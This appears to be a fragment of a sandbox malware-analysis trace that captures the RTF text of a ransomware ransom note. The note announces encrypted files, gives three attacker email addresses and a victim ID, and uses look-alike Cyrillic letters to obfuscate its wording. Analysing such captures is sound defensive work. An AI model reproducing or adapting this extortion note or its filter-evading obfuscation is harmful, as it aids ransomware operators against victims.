\\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 